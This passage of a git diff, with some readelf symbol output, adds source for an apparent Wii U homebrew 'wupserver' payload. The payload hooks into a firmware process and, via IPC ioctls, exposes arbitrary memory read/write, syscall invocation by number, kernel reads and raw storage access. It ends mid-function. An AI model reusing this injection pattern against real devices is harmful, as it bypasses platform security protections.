61: 05100ac0 0 NOTYPE LOCAL DEFAULT 1 $a + 62: 05100ae0 0 NOTYPE LOCAL DEFAULT 1 $d + 63: 05100ae4 0 NOTYPE LOCAL DEFAULT 1 $a + 64: 05100b44 0 NOTYPE LOCAL DEFAULT 1 $d + 65: 05101a1c 0 NOTYPE LOCAL DEFAULT 1 $d + 66: 00000000 0 FILE LOCAL DEFAULT ABS ipc.c + 67: 05100b48 0 NOTYPE LOCAL DEFAULT 1 $a + 68: 05100bb0 0 NOTYPE LOCAL DEFAULT 1 $d + 69: 05100bcc 0 NOTYPE LOCAL DEFAULT 1 $a + 70: 05100c04 0 NOTYPE LOCAL DEFAULT 1 $d + 71: 05100d68 0 NOTYPE LOCAL DEFAULT 1 $a + 72: 05101980 0 NOTYPE LOCAL DEFAULT 1 $d + 73: 00000000 0 FILE LOCAL DEFAULT ABS build/svc.o + 74: 05101990 0 NOTYPE LOCAL DEFAULT 1 $d + 75: 05101994 0 NOTYPE LOCAL DEFAULT 1 $a + 76: 05101998 0 NOTYPE LOCAL DEFAULT 1 $d + 77: 0510199c 0 NOTYPE LOCAL DEFAULT 1 $a + 78: 051019a0 0 NOTYPE LOCAL DEFAULT 1 $d + 79: 051019a4 0 NOTYPE LOCAL DEFAULT 1 $a + 80: 051019a8 0 NOTYPE LOCAL DEFAULT 1 $d + 81: 051019ac 0 NOTYPE LOCAL DEFAULT 1 $a + 82: 051019b0 0 NOTYPE LOCAL DEFAULT 1 $d + 83: 051019b4 0 NOTYPE LOCAL DEFAULT 1 $a + 84: 051019b8 0 NOTYPE LOCAL DEFAULT 1 $d + 85: 051019bc 0 NOTYPE LOCAL DEFAULT 1 $a + 86: 051019c0 0 NOTYPE LOCAL DEFAULT 1 $d + 87: 051019c4 0 NOTYPE LOCAL DEFAULT 1 $a + 88: 051019c8 0 NOTYPE LOCAL DEFAULT 1 $d + 89: 051019cc 0 NOTYPE LOCAL DEFAULT 1 $a + 90: 051019d0 0 NOTYPE LOCAL DEFAULT 1 $d + 91: 051019d4 0 NOTYPE LOCAL DEFAULT 1 $a + 92: 051019d8 0 NOTYPE LOCAL DEFAULT 1 $d + 93: 051019dc 0 NOTYPE LOCAL DEFAULT 1 $a + 94: 051019e0 0 NOTYPE LOCAL DEFAULT 1 $d + 95: 051019e4 0 NOTYPE LOCAL DEFAULT 1 $a + 96: 051019e8 0 NOTYPE LOCAL DEFAULT 1 $d + 97: 051019ec 0 NOTYPE LOCAL DEFAULT 1 $a + 98: 051019f0 0 NOTYPE LOCAL DEFAULT 1 $d + 99: 051019f4 0 NOTYPE LOCAL DEFAULT 1 $a + 100: 051019f8 0 NOTYPE LOCAL DEFAULT 1 $d + 101: 051019fc 0 NOTYPE LOCAL DEFAULT 1 $a + 102: 05101a00 0 NOTYPE LOCAL DEFAULT 1 $d + 103: 05101a04 0 NOTYPE LOCAL DEFAULT 1 $a + 104: 05101a08 0 NOTYPE LOCAL DEFAULT 1 $d + 105: 05101a0c 0 NOTYPE LOCAL DEFAULT 1 $a + 106: 05101a10 0 NOTYPE LOCAL DEFAULT 1 $d + 107: 05101998 0 FUNC GLOBAL DEFAULT 1 svcStartThread + 108: 051019d8 0 FUNC GLOBAL DEFAULT 1 svcClose + 109: 051019c8 0 FUNC GLOBAL DEFAULT 1 svcRegisterResourceManage + 110: 05100484 168 FUNC GLOBAL DEFAULT 1 _FSA_ReadWriteFile + 111: 051019e8 0 FUNC GLOBAL DEFAULT 1 svcIoctlv + 112: 05100924 88 FUNC GLOBAL DEFAULT 1 FSA_RawClose + 113: 05101990 0 FUNC GLOBAL DEFAULT 1 svcCreateThread + 114: 0510079c 124 FUNC GLOBAL DEFAULT 1 FSA_ChangeMode + 115: 05100ab4 12 FUNC GLOBAL DEFAULT 1 usleep + 116: 05101a08 0 FUNC GLOBAL DEFAULT 1 svcRead32 + 117: 05100648 96 FUNC GLOBAL DEFAULT 1 FSA_SetPosFile + 118: 05100ad8 12 FUNC GLOBAL DEFAULT 1 memcpy + 119: 0510052c 40 FUNC GLOBAL DEFAULT 1 FSA_ReadFile + 120: 05100734 104 FUNC GLOBAL DEFAULT 1 FSA_Remove + 121: 05100b30 24 FUNC GLOBAL DEFAULT 1 vsnprintf + 122: 05089780 0 NOTYPE GLOBAL DEFAULT 1 _bss_start + 123: 051006a8 140 FUNC GLOBAL DEFAULT 1 FSA_GetStat + 124: 051002e0 88 FUNC GLOBAL DEFAULT 1 FSA_RewindDir + 125: 05100a18 156 FUNC GLOBAL DEFAULT 1 FSA_RawWrite + 126: 05101a00 0 FUNC GLOBAL DEFAULT 1 svcFlushDCache + 127: 05089780 0 NOTYPE GLOBAL DEFAULT 1 _bss_end + 128: 051019b8 0 FUNC GLOBAL DEFAULT 1 svcAllocAlign + 129: 05100114 112 FUNC GLOBAL DEFAULT 1 FSA_Unmount + 130: 0510026c 116 FUNC GLOBAL DEFAULT 1 FSA_ReadDir + 131: 05101a1c 4 OBJECT GLOBAL DEFAULT 1 _memcpy + 132: 051019f8 0 FUNC GLOBAL DEFAULT 1 svcInvalidateDCache + 133: 051019e0 0 FUNC GLOBAL DEFAULT 1 svcIoctl + 134: 051003f8 140 FUNC GLOBAL DEFAULT 1 FSA_OpenFile + 135: 05100184 112 FUNC GLOBAL DEFAULT 1 FSA_MakeDir + 136: 05100000 0 NOTYPE GLOBAL DEFAULT 1 _start + 137: 051019d0 0 FUNC GLOBAL DEFAULT 1 svcOpen + 138: 05100338 88 FUNC GLOBAL DEFAULT 1 FSA_CloseDir + 139: 05100b00 48 FUNC GLOBAL DEFAULT 1 strncpy + 140: 051001f4 120 FUNC GLOBAL DEFAULT 1 FSA_OpenDir + 141: 051019f0 0 FUNC GLOBAL DEFAULT 1 svcResourceReply + 142: 05100ac0 24 FUNC GLOBAL DEFAULT 1 memset + 143: 051019b0 0 FUNC GLOBAL DEFAULT 1 svcAlloc + 144: 05100064 176 FUNC GLOBAL DEFAULT 1 FSA_Mount + 145: 0510097c 156 FUNC GLOBAL DEFAULT 1 FSA_RawRead + 146: 051019a0 0 FUNC GLOBAL DEFAULT 1 svcCreateMessageQueue + 147: 051019a8 0 FUNC GLOBAL DEFAULT 1 svcReceiveMessage + 148: 05100554 40 FUNC GLOBAL DEFAULT 1 FSA_WriteFile + 149: 05100818 148 FUNC GLOBAL DEFAULT 1 FSA_GetDeviceInfo + 150: 051008ac 120 FUNC GLOBAL DEFAULT 1 FSA_RawOpen + 151: 05100390 104 FUNC GLOBAL DEFAULT 1 FSA_ChangeDir + 152: 051005f0 88 FUNC GLOBAL DEFAULT 1 FSA_CloseFile + 153: 05100ae4 28 FUNC GLOBAL DEFAULT 1 strlen + 154: 05100b48 3656 FUNC GLOBAL DEFAULT 1 ipc_thread + 155: 0510057c 116 FUNC GLOBAL DEFAULT 1 FSA_StatFile + 156: 051019c0 0 FUNC GLOBAL DEFAULT 1 svcFree + +No version information found in this file. +Attribute Section: aeabi +File Attributes + Tag_CPU_name: "5" + Tag_CPU_arch: v5T + Tag_ARM_ISA_use: Yes + Tag_THUMB_ISA_use: Thumb-1 + Tag_ABI_PCS_wchar_t: 4 + Tag_ABI_FP_denormal: Needed + Tag_ABI_FP_exceptions: Needed + Tag_ABI_FP_number_model: IEEE 754 + Tag_ABI_align_needed: 8-byte + Tag_ABI_enum_size: small diff --git a/installer/wupserver/source/crt0.s b/installer/wupserver/source/crt0.s new file mode 100644 index 0000000..2a8d596 --- /dev/null +++ b/installer/wupserver/source/crt0.s @@ -0,0 +1,17 @@ +.section ".init" +.arm +.align 4 + +.globl _start + +.extern ipc_thread +.type ipc_thread, %function + +_start: + @wupserver + mov r0, #0 + bl ipc_thread + @jump to original code + ldr r1,[pc] + bx r1 + .word (0x05027954)+1 diff --git a/installer/wupserver/source/fsa.c b/installer/wupserver/source/fsa.c new file mode 100644 index 0000000..c7b4009 --- /dev/null +++ b/installer/wupserver/source/fsa.c @@ -0,0 +1,437 @@ +#include +#include +#include +#include "svc.h" +#include "imports.h" +#include "fsa.h" + +static void* allocIobuf() +{ + void* ptr = svcAlloc(0xCAFF, 0x828); + + memset(ptr, 0x00, 0x828); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + strncpy((char*)&inbuf8[0x04], device_path, 0x27F); + strncpy((char*)&inbuf8[0x284], volume_path, 0x27F); + inbuf[0x504 / 4] = (u32)flags; + inbuf[0x508 / 4] = (u32)arg_string_len; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + iovec[1].ptr = arg_string; + iovec[1].len = arg_string_len; + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x01, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_Unmount(int fd, char* path, u32 flags) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284 / 4] = flags; + + int ret = svcIoctl(fd, 0x02, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_MakeDir(int fd, char* path, u32 flags) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284 / 4] = flags; + + int ret = svcIoctl(fd, 0x07, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_OpenDir(int fd, char* path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x0A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0B, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(directoryEntry_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RewindDir(int fd, int handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0C, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_CloseDir(int fd, int handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x0D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ChangeDir(int fd, char* path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x05, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + strncpy((char*)&inbuf[0xA1], mode, 0x10); + + int ret = svcIoctl(fd, 0x0E, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int _FSA_ReadWriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags, bool read) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = size; + inbuf[0x0C / 4] = cnt; + inbuf[0x14 / 4] = fileHandle; + inbuf[0x18 / 4] = flags; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret; + if(read) ret = svcIoctlv(fd, 0x0F, 1, 2, iovec); + else ret = svcIoctlv(fd, 0x10, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) +{ + return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, true); +} + +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags) +{ + return _FSA_ReadWriteFile(fd, data, size, cnt, fileHandle, flags, false); +} + +int FSA_StatFile(int fd, int handle, fileStat_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = handle; + + int ret = svcIoctl(fd, 0x14, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_CloseFile(int fd, int fileHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = fileHandle; + + int ret = svcIoctl(fd, 0x15, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_SetPosFile(int fd, int fileHandle, u32 position) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = fileHandle; + inbuf[2] = position; + + int ret = svcIoctl(fd, 0x12, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_GetStat(int fd, char *path, fileStat_s* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284/4] = 5; + + int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); + + if(out_data) memcpy(out_data, &outbuf[1], sizeof(fileStat_s)); + + freeIobuf(iobuf); + return ret; +} + +int FSA_Remove(int fd, char *path) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + + int ret = svcIoctl(fd, 0x08, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +int FSA_ChangeMode(int fd, char *path, int mode) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], path, 0x27F); + inbuf[0x284/4] = mode; + inbuf[0x288/4] = 0x777; // mask + + int ret = svcIoctl(fd, 0x20, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +// type 4 : +// 0x08 : device size in sectors (u64) +// 0x10 : device sector size (u32) +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], device_path, 0x27F); + inbuf[0x284 / 4] = type; + + int ret = svcIoctl(fd, 0x18, inbuf, 0x520, outbuf, 0x293); + + int size = 0; + + switch(type) + { + case 0: case 1: case 7: + size = 0x8; + break; + case 2: + size = 0x4; + break; + case 3: + size = 0x1E; + break; + case 4: + size = 0x28; + break; + case 5: + size = 0x64; + break; + case 6: case 8: + size = 0x14; + break; + } + + memcpy(out_data, &outbuf[1], size); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawOpen(int fd, char* device_path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + strncpy((char*)&inbuf[0x01], device_path, 0x27F); + + int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawClose(int fd, int device_handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = device_handle; + + int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +// offset in blocks of 0x1000 bytes +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + // note : offset_bytes = blocks_offset * size_bytes + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} diff --git a/installer/wupserver/source/fsa.h b/installer/wupserver/source/fsa.h new file mode 100644 index 0000000..914e3d7 --- /dev/null +++ b/installer/wupserver/source/fsa.h @@ -0,0 +1,59 @@ +#ifndef FSA_H +#define FSA_H + +typedef struct +{ + u32 flag; + u32 permission; + u32 owner_id; + u32 group_id; + u32 size; // size in bytes + u32 physsize; // physical size on disk in bytes + u32 unk[3]; + u32 id; + u32 ctime; + u32 mtime; + u32 unk2[0x0D]; +}fileStat_s; + +typedef struct +{ + fileStat_s stat; + char name[0x100]; +}directoryEntry_s; + +#define DIR_ENTRY_IS_DIRECTORY 0x80000000 + +#define FSA_MOUNTFLAGS_BINDMOUNT (1 << 0) +#define FSA_MOUNTFLAGS_GLOBAL (1 << 1) + +int FSA_Open(); + +int FSA_Mount(int fd, char* device_path, char* volume_path, u32 flags, char* arg_string, int arg_string_len); +int FSA_Unmount(int fd, char* path, u32 flags); + +int FSA_GetDeviceInfo(int fd, char* device_path, int type, u32* out_data); + +int FSA_MakeDir(int fd, char* path, u32 flags); +int FSA_OpenDir(int fd, char* path, int* outHandle); +int FSA_ReadDir(int fd, int handle, directoryEntry_s* out_data); +int FSA_RewindDir(int fd, int handle); +int FSA_CloseDir(int fd, int handle); +int FSA_ChangeDir(int fd, char* path); + +int FSA_OpenFile(int fd, char* path, char* mode, int* outHandle); +int FSA_ReadFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_WriteFile(int fd, void* data, u32 size, u32 cnt, int fileHandle, u32 flags); +int FSA_StatFile(int fd, int handle, fileStat_s* out_data); +int FSA_CloseFile(int fd, int fileHandle); +int FSA_SetPosFile(int fd, int fileHandle, u32 position); +int FSA_GetStat(int fd, char *path, fileStat_s* out_data); +int FSA_Remove(int fd, char *path); +int FSA_ChangeMode(int fd, char *path, int mode); + +int FSA_RawOpen(int fd, char* device_path, int* outHandle); +int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 sector_offset, int device_handle); +int FSA_RawClose(int fd, int device_handle); + +#endif diff --git a/installer/wupserver/source/imports.c b/installer/wupserver/source/imports.c new file mode 100644 index 0000000..a3f94b3 --- /dev/null +++ b/installer/wupserver/source/imports.c @@ -0,0 +1,49 @@ +#include "imports.h" + +void usleep(u32 time) +{ + ((void (*const)(u32))0x050564E4)(time); +} + +void* memset(void* dst, int val, size_t size) +{ + char* _dst = dst; + + int i; + for(i = 0; i < size; i++) _dst[i] = val; + + return dst; +} + +void* (*const _memcpy)(void* dst, void* src, int size) = (void*)0x05054E54; + +void* memcpy(void* dst, const void* src, size_t size) +{ + return _memcpy(dst, (void*)src, size); +} + +int strlen(const char* str) +{ + unsigned int i = 0; + while (str[i]) { + i++; + } + return i; +} + +char* strncpy(char* dst, const char* src, size_t size) +{ + int i; + for(i = 0; i < size; i++) + { + dst[i] = src[i]; + if(src[i] == '\0') return dst; + } + + return dst; +} + +int vsnprintf(char * s, size_t n, const char * format, va_list arg) +{ + return ((int (*const)(char*, size_t, const char *, va_list))0x05055C40)(s, n, format, arg); +} diff --git a/installer/wupserver/source/imports.h b/installer/wupserver/source/imports.h new file mode 100644 index 0000000..72ee497 --- /dev/null +++ b/installer/wupserver/source/imports.h @@ -0,0 +1,12 @@ +#ifndef IMPORTS_H +#define IMPORTS_H + +#include +#include +#include "types.h" + +#define MCP_SVC_BASE ((void*)0x050567EC) + +void usleep(u32 time); + +#endif diff --git a/installer/wupserver/source/ipc.c b/installer/wupserver/source/ipc.c new file mode 100644 index 0000000..9dd7c8d --- /dev/null +++ b/installer/wupserver/source/ipc.c @@ -0,0 +1,480 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include +#include +#include +#include "imports.h" +#include "fsa.h" +#include "svc.h" +//#include "text.h" +//#include "logger.h" +#include "fsa.h" + +#define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 +#define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 +#define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 +#define IOS_ERROR_UNKNOWN 0xFFFFFFF7 +#define IOS_ERROR_NOEXISTS 0xFFFFFFFA + +#define IOCTL_MEM_WRITE 0x00 +#define IOCTL_MEM_READ 0x01 +#define IOCTL_SVC 0x02 +#define IOCTL_MEMCPY 0x04 +#define IOCTL_REPEATED_WRITE 0x05 +#define IOCTL_KERN_READ32 0x06 +#define IOCTL_KERN_WRITE32 0x07 + +#define IOCTL_FSA_OPEN 0x40 +#define IOCTL_FSA_CLOSE 0x41 +#define IOCTL_FSA_MOUNT 0x42 +#define IOCTL_FSA_UNMOUNT 0x43 +#define IOCTL_FSA_GETDEVICEINFO 0x44 +#define IOCTL_FSA_OPENDIR 0x45 +#define IOCTL_FSA_READDIR 0x46 +#define IOCTL_FSA_CLOSEDIR 0x47 +#define IOCTL_FSA_MAKEDIR 0x48 +#define IOCTL_FSA_OPENFILE 0x49 +#define IOCTL_FSA_READFILE 0x4A +#define IOCTL_FSA_WRITEFILE 0x4B +#define IOCTL_FSA_STATFILE 0x4C +#define IOCTL_FSA_CLOSEFILE 0x4D +#define IOCTL_FSA_SETFILEPOS 0x4E +#define IOCTL_FSA_GETSTAT 0x4F +#define IOCTL_FSA_REMOVE 0x50 +#define IOCTL_FSA_REWINDDIR 0x51 +#define IOCTL_FSA_CHDIR 0x52 +#define IOCTL_FSA_RENAME 0x53 +#define IOCTL_FSA_RAW_OPEN 0x54 +#define IOCTL_FSA_RAW_READ 0x55 +#define IOCTL_FSA_RAW_WRITE 0x56 +#define IOCTL_FSA_RAW_CLOSE 0x57 +#define IOCTL_FSA_CHANGEMODE 0x58 + +//static u8 threadStack[0x1000] __attribute__((aligned(0x20))); + +static int ipc_ioctl(ipcmessage *message) +{ + int res = 0; + + switch(message->ioctl.command) + { + case IOCTL_MEM_WRITE: + { + if(message->ioctl.length_in < 4) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); + } + break; + } + case IOCTL_MEM_READ: + { + if(message->ioctl.length_in < 4) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io); + } + break; + } + case IOCTL_SVC: + { + if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + int svc_id = message->ioctl.buffer_in[0]; + int size_arguments = message->ioctl.length_in - 4; + + u32 arguments[8]; + memset(arguments, 0x00, sizeof(arguments)); + memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); + + // return error code as data + message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); + } + break; + } + case IOCTL_MEMCPY: + { + if(message->ioctl.length_in < 12) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); + } + break; + } + case IOCTL_REPEATED_WRITE: + { + if(message->ioctl.length_in < 12) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + u32* dst = (u32*)message->ioctl.buffer_in[0]; + u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF); + u32 value = message->ioctl.buffer_in[1]; + u32 n = message->ioctl.buffer_in[2]; + + u32 old = *dst; + int i; + for(i = 0; i < n; i++) + { + if(*dst != old) + { + if(*dst == 0x0) old = *dst; + else + { + *dst = value; + svcFlushDCache(cache_range, 0x100); + break; + } + }else + { + svcInvalidateDCache(cache_range, 0x100); + usleep(50); + } + } + } + break; + } + case IOCTL_KERN_READ32: + { + if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) + { + res = IOS_ERROR_INVALID_SIZE; + } + else + { + for(u32 i = 0; i < (message->ioctl.length_io/4); i++) + { + message->ioctl.buffer_io[i] = svcRead32(message->ioctl.buffer_in[0] + i * 4); + } + } + break; + } + case IOCTL_KERN_WRITE32: + { + //! TODO: add syscall as on kern_read32 + res = IOS_ERROR_NOEXISTS; + break; + } + //!-------------------------------------------------------------------------------------------------------------- + //! FSA handles for better performance + //!-------------------------------------------------------------------------------------------------------------- + //! TODO: add checks for i/o buffer length + case IOCTL_FSA_OPEN: + { + // points to "/dev/fsa" string in mcp data section + message->ioctl.buffer_io[0] = svcOpen((char*)0x0506963C, 0); + break; + } + case IOCTL_FSA_CLOSE: + { + int fd = message->ioctl.buffer_in[0]; + message->ioctl.buffer_io[0] = svcClose(fd); + break; + } + case IOCTL_FSA_MOUNT: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; + u32 flags = message->ioctl.buffer_in[3]; + char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; + int arg_string_len = message->ioctl.buffer_in[5]; + + message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); + break; + } + case IOCTL_FSA_UNMOUNT: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + u32 flags = message->ioctl.buffer_in[2]; + + message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); + break; + } + case IOCTL_FSA_GETDEVICEINFO: + { + int fd = message->ioctl.buffer_in[0]; + char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; + int type = message->ioctl.buffer_in[2]; + + 